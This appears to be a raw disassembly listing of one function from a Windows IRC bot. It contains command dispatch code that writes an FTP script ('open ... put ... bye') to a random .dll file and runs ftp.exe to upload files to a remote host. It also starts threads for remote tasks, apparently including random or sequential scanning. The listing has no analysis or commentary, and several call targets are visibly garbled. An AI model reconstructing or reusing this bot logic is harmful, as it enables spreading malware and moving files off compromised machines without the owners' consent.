add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_4073C5 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h loc_40724F: ; CODE XREF: sub_401AC7+51D7j ; sub_401AC7+55A7j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F6C push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_409643 push 4 push esi call sub_416C63 pop ecx test eax, eax pop ecx jnz short loc_40729A push esi push offset unk_42ABAC loc_407286: ; CODE XREF: sub_401AC7+7985j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_403F81 ; --------------------------------------------------------------------------- loc_40729A: ; CODE XREF: sub_401AC7+57B7j call near ptr 26A0729h nop push eax call sub_41C058 pop ecx call sub_41C062 push 9 cdq pop ecx idiv ecx push edx call sub_41C062 push 63h cdq pop ecx idiv ecx push edx call sub_41C062 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C006 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BC88 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F6C push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C56F push [ebp+arg_24] call sub_41B9DB lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4C9270 test eax, eax push edi push esi jz short loc_407364 push offset unk_42AB3C jmp short loc_407369 ; --------------------------------------------------------------------------- loc_407364: ; CODE XREF: sub_401AC7+5894j push offset unk_42AB0C loc_407369: ; CODE XREF: sub_401AC7+589Bj call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407392 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_407392: ; CODE XREF: sub_401AC7+58ADj lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_40739E: ; CODE XREF: sub_401AC7+58FCj lea eax, [ebp+var_2E5C] push 4 push eax call sub_416C63 add esp, 0Ch test eax, eax jz loc_401F6C lea eax, [ebp+var_2E5C] push eax call sub_41C545 jmp short loc_40739E ; --------------------------------------------------------------------------- loc_4073C5: ; CODE XREF: sub_401AC7+5752j push edi call sub_41BEF9 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41BEF9 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073FE push 5 pop eax mov [ebp+var_36C], eax loc_4073FE: ; CODE XREF: sub_401AC7+592Cj push 3Ch pop ecx cmp eax, ecx jbe short loc_40740B mov [ebp+var_36C], ecx loc_40740B: ; CODE XREF: sub_401AC7+593Cj push [ebp+arg_10] call sub_41BEF9 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_40742B mov [ebp+var_368], 320h loc_40742B: ; CODE XREF: sub_401AC7+5958j or [ebp+var_354], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+arg_1C], ebx jz short loc_407481 mov [ebp+arg_24], offset dword_431808 loc_407444: ; CODE XREF: sub_401AC7+599Cj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_407467 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407444 jmp short loc_407481 ; --------------------------------------------------------------------------- loc_407467: ; CODE XREF: sub_401AC7+598Ej mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_370], ecx loc_407481: ; CODE XREF: sub_401AC7+5974j ; sub_401AC7+599Ej cmp [ebp+var_370], ebx jnz short loc_407493 push offset unk_42AAD8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_407493: ; CODE XREF: sub_401AC7+59C0j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_4074CE cmp byte ptr [edi], 23h jz short loc_4074CE push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C100 push 78h push edi call sub_41C720 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_4075A8 ; --------------------------------------------------------------------------- loc_4074CE: ; CODE XREF: sub_401AC7+59D5j ; sub_401AC7+59DAj cmp [ebp+var_8FF], bl jnz short loc_4074F0 cmp [ebp+var_8FE], bl jnz short loc_4074F0 cmp [ebp+var_8EE], bl jnz short loc_4074F0 push offset unk_42AAA4 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_4074F0: ; CODE XREF: sub_401AC7+5A0Dj ; sub_401AC7+5A15j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4C9390 push eax lea eax, [ebp+var_484] push eax call sub_41BD70 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_4075A2 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C5B0 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407596 loc_407574: ; CODE XREF: sub_401AC7+5ACDj cmp eax, ebx jz short loc_407596 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407574 loc_407596: ; CODE XREF: sub_401AC7+5AABj ; sub_401AC7+5AAFj mov [ebp+var_344], 1 jmp short loc_4075A8 ; --------------------------------------------------------------------------- loc_4075A2: ; CODE XREF: sub_401AC7+5A85j mov [ebp+var_344], ebx loc_4075A8: ; CODE XREF: sub_401AC7+5A02j ; sub_401AC7+5AD9j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C100 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075F9 loc_4075E6: ; CODE XREF: sub_401AC7+5B55j push esi loc_4075E7: ; CODE XREF: sub_401AC7+5B3Fj lea eax, [ebp+var_3F4] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_407624 ; --------------------------------------------------------------------------- loc_4075F9: ; CODE XREF: sub_401AC7+5B1Dj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407608 cmp byte ptr [eax], 23h jnz short loc_407608 push eax jmp short loc_4075E7 ; --------------------------------------------------------------------------- loc_407608: ; CODE XREF: sub_401AC7+5B37j ; sub_401AC7+5B3Cj mov esi, offset aF ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4075E6 mov [ebp+var_3F4], bl loc_407624: ; CODE XREF: sub_401AC7+5B30j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_407636 mov eax, offset aSequential ; "Sequential" loc_407636: ; CODE XREF: sub_401AC7+5B68j push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA3C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C5E7 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4076C4 loc_4076AE: ; CODE XREF: sub_401AC7+5BFBj cmp [ebp+var_340], ebx jnz loc_4081DE push 32h call near ptr 268051Bh nop jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_4076C4: ; CODE XREF: sub_401AC7+5BE5j nop call near ptr 2680DCDh push eax push offset unk_42AA04 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4076D5: ; CODE XREF: sub_401AC7+4E8Dj ; sub_401AC7+4EA4j push edi call sub_40A8E4 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41BEF9 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BD70 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset dword_40CA04 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4077CA loc_4077B4: ; CODE XREF: sub_401AC7+5D01j cmp [ebp+var_4D0], ebx jnz loc_403D2D push 32h nop call near ptr 268051Bh jmp short loc_4077B4 ; --------------------------------------------------------------------------- loc_4077CA: ; CODE XREF: sub_401AC7+5CEBj nop call near ptr 2680DCDh push eax push offset unk_42A978 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_4077DB: ; CODE XREF: sub_401AC7+4E50j ; sub_401AC7+4E67j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A96C push eax call sub_41C006 add esp, 20h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" loc_4078C3: ; CODE XREF: sub_401AC7+5EF6j lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_404068 ; --------------------------------------------------------------------------- loc_4078ED: ; CODE XREF: sub_401AC7+4E22j ; sub_401AC7+4E39j push edi call sub_41BEF9 imul eax, 234h pop ecx cmp byte_43C258[eax], bl jz loc_409643 cmp [ebp+var_C], ebx jz loc_409643 push [ebp+arg_18] call sub_41B960 push edi mov esi, eax call sub_41B960 push [ebp+arg_8] add esi, eax call sub_41B960 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C080 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409643 push edi call sub_41BEF9 test eax, eax pop ecx jle loc_409643 push edi call sub_41BEF9 cmp eax, 400h pop ecx jge loc_409643 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41BEF9 imul eax, 234h pop ecx push dword_43C24C[eax] call sub_409862 push edi call sub_41BEF9 imul eax, 234h add esp, 18h cmp byte ptr dword_43C040[eax], 73h jnz loc_409643 push esi push edi call sub_41BEF9 imul eax, 234h pop ecx add eax, offset byte_43C258 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_4078C3 ; --------------------------------------------------------------------------- loc_4079C2: ; CODE XREF: sub_401AC7+4DF4j ; sub_401AC7+4E0Bj push edi call dword_4C9344 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41BEF9 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41BEF9 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BD70 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4C9390 push eax lea eax, [ebp+var_2C4] push offset unk_42A914 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset byte_40C913 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407AA4 loc_407A8E: ; CODE XREF: sub_401AC7+5FDBj cmp [ebp+var_670], ebx jnz loc_403D2D push 32h call near ptr 268051Bh nop jmp short loc_407A8E ; --------------------------------------------------------------------------- loc_407AA4: ; CODE XREF: sub_401AC7+5FC5j nop call near ptr 2680DCDh push eax push offset unk_42AA04 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407AB5: ; CODE XREF: sub_401AC7+4DC6j ; sub_401AC7+4DDDj push edi call sub_41BEF9 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BD70 push [ebp+arg_0] call sub_41BEF9 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push 80h push eax mov [ebp+var_123C], esi call sub_41C100 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3AD add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410D69 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407B9E loc_407B88: ; CODE XREF: sub_401AC7+60D5j cmp [ebp+var_111C], ebx jnz loc_403D2D push 32h call near ptr 268051Bh nop jmp short loc_407B88 ; --------------------------------------------------------------------------- loc_407B9E: ; CODE XREF: sub_401AC7+60BFj nop call near ptr 2680DCDh push eax push offset unk_42A894 jmp loc_403D1E ; --------------------------------------------------------------------------- loc_407BAF: ; CODE XREF: sub_401AC7+4D98j ; sub_401AC7+4DAFj push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BD70 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BD70 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41BEF9 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407C08 push 10h push ebx push eax call sub_41C52E add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407C0E ; --------------------------------------------------------------------------- loc_407C08: ; CODE XREF: sub_401AC7+612Bj mov [ebp+var_266C], ebx loc_407C0E: ; CODE XREF: sub_401AC7+613Fj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407C25 push esi call sub_41BEF9 pop ecx mov [ebp+var_2670], eax jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C25: ; CODE XREF: sub_401AC7+614Dj mov [ebp+var_2670], ebx loc_407C2B: ; CODE XREF: sub_401AC7+615Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_2660], eax mov eax, [ebp+var_8] mov [ebp+var_2664], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A868 push eax call sub_41C006 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3AD add esp, 28h mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_416754 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407CD9 loc_407CC3: ; CODE XREF: sub_401AC7+6210j cmp [ebp+var_265C], ebx jnz loc_4071DD push 32h call near ptr 268051Bh nop jmp short loc_407CC3 ; --------------------------------------------------------------------------- loc_407CD9: ; CODE XREF: sub_401AC7+61FAj call near ptr 2680DCDh nop push eax push offset unk_42A828 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407CEA: ; CODE XREF: sub_401AC7+4D6Aj ; sub_401AC7+4D81j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3290], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A7EC push eax mov [ebp+var_3498], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 12h push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset word_4155D6 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407DC1 loc_407DAB: ; CODE XREF: sub_401AC7+62F8j cmp [ebp+var_3288], ebx jnz loc_4071DD push 32h call near ptr 268051Bh nop jmp short loc_407DAB ; --------------------------------------------------------------------------- loc_407DC1: ; CODE XREF: sub_401AC7+62E2j nop call near ptr 2680DCDh push eax push offset unk_42A7B4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407DD2: ; CODE XREF: sub_401AC7+4C3Dj ; sub_401AC7+4C54j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A784 push eax mov [ebp+var_3070], esi call sub_41C006 add esp, 44h lea eax, [ebp+var_2C4] push ebx push 0Eh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414310 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407EA9 loc_407E93: ; CODE XREF: sub_401AC7+63E0j cmp [ebp+var_2E60], ebx jnz loc_4071DD push 32h nop call near ptr 268051Bh jmp short loc_407E93 ; --------------------------------------------------------------------------- loc_407EA9: ; CODE XREF: sub_401AC7+63CAj call near ptr 2680DCDh nop push eax push offset unk_42A74C jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407EBA: ; CODE XREF: sub_401AC7+4B14j ; sub_401AC7+4B2Bj ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BD70 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BD70 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BD70 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BD70 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BD70 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A71C push eax mov [ebp+var_3CF0], esi call sub_41C006 add esp, 50h lea eax, [ebp+var_2C4] push ebx push 0Dh push eax call sub_40B3AD add esp, 0Ch mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_41359D push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_407FA2 loc_407F8C: ; CODE XREF: sub_401AC7+64D9j cmp [ebp+var_3A60], ebx jnz loc_4071DD push 32h call near ptr 268051Bh nop jmp short loc_407F8C ; --------------------------------------------------------------------------- loc_407FA2: ; CODE XREF: sub_401AC7+64C3j nop call near ptr 2680DCDh push eax push offset unk_42A6E4 jmp loc_4071CE ; --------------------------------------------------------------------------- loc_407FB3: ; CODE XREF: sub_401AC7+4AE6j ; sub_401AC7+4AFDj push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BD70 push [ebp+arg_18] call sub_41BEF9 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BD70 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FFE push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BD70 add esp, 0Ch loc_407FFE: ; CODE XREF: sub_401AC7+6523j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B4 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3AD add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017E7 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40808A loc_408074: ; CODE XREF: sub_401AC7+65C1j cmp [ebp+var_1620], ebx jnz loc_406C42 push 32h nop call near ptr 268051Bh jmp short loc_408074 ; --------------------------------------------------------------------------- loc_40808A: ; CODE XREF: sub_401AC7+65ABj nop call near ptr 2680DCDh push eax push offset dword_42A678 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40809B: ; CODE XREF: sub_401AC7+4AA6j ; sub_401AC7+4ABDj push [ebp+arg_18] call sub_41BEF9 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408188 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C100 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C100 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_1D60], eax mov eax, [ebp+var_8] mov [ebp+var_1D5C], eax push edi push offset unk_42A64C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3AD add esp, 38h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset dword_4139E4 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_408177 loc_408165: ; CODE XREF: sub_401AC7+66AEj cmp [ebp+var_1D58], ebx jnz short loc_4081DE push 32h nop call near ptr 268051Bh jmp short loc_408165 ; --------------------------------------------------------------------------- loc_408177: ; CODE XREF: sub_401AC7+669Cj nop call near ptr 2680DCDh push eax push offset unk_42A614 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_408188: ; CODE XREF: sub_401AC7+65E5j push offset unk_42A5DC jmp loc_406E6F ; --------------------------------------------------------------------------- loc_408192: ; CODE XREF: sub_401AC7+4A78j ; sub_401AC7+4A8Fj push [ebp+arg_18] push edi nop call near ptr 26B0B7Eh test eax, eax jz short loc_4081BF push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B8 push 200h push eax call sub_41C100 add esp, 14h jmp short loc_4081DE ; --------------------------------------------------------------------------- loc_4081BF: ; CODE XREF: sub_401AC7+66D7j push offset dword_42A5AC call sub_41864A push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 add esp, 10h loc_4081DE: ; CODE XREF: sub_401AC7+20C9j ; sub_401AC7+2E99j ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081FB: ; CODE XREF: sub_401AC7+5731j call sub_409862 add esp, 14h jmp loc_40830C ; --------------------------------------------------------------------------- loc_408208: ; CODE XREF: sub_401AC7+4A4Aj ; sub_401AC7+4A61j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C100 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408242 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_408242 push eax lea eax, [ebp+var_3E04] push eax call sub_41C006 pop ecx pop ecx loc_408242: ; CODE XREF: sub_401AC7+6759j ; sub_401AC7+676Aj push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A57C lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset byte_416FFF push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4082F1 loc_4082DF: ; CODE XREF: sub_401AC7+6828j cmp [ebp+var_3CF4], ebx jnz short loc_40830C push 32h nop call near ptr 268051Bh jmp short loc_4082DF ; --------------------------------------------------------------------------- loc_4082F1: ; CODE XREF: sub_401AC7+6816j nop call near ptr 2680DCDh push eax push offset unk_42A540 loc_4082FD: ; CODE XREF: sub_401AC7+900j ; sub_401AC7+A3Bj ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_40830C: ; CODE XREF: sub_401AC7+7BCj ; sub_401AC7+927j ... push 1 pop esi jmp loc_406C66 ; --------------------------------------------------------------------------- loc_408314: ; CODE XREF: sub_401AC7+4A1Cj ; sub_401AC7+4A33j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BD10 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41BEF9 add esp, 10h cmp eax, esi jnz short loc_408351 mov [ebp+var_638], 5 loc_408351: ; CODE XREF: sub_401AC7+687Fj cmp [ebp+var_C], ebx jz loc_406C42 push [ebp+arg_18] push [ebp+var_C] call sub_41C080 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406C42 lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 26603BDh test eax, eax jnz short loc_40839C push offset unk_42A51C jmp loc_40851D ; --------------------------------------------------------------------------- loc_40839C: ; CODE XREF: sub_401AC7+68C9j push edi push offset dword_42A500 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_4083A7: ; CODE XREF: sub_401AC7+49EEj ; sub_401AC7+4A05j push [ebp+arg_18] push offset a1221 ; 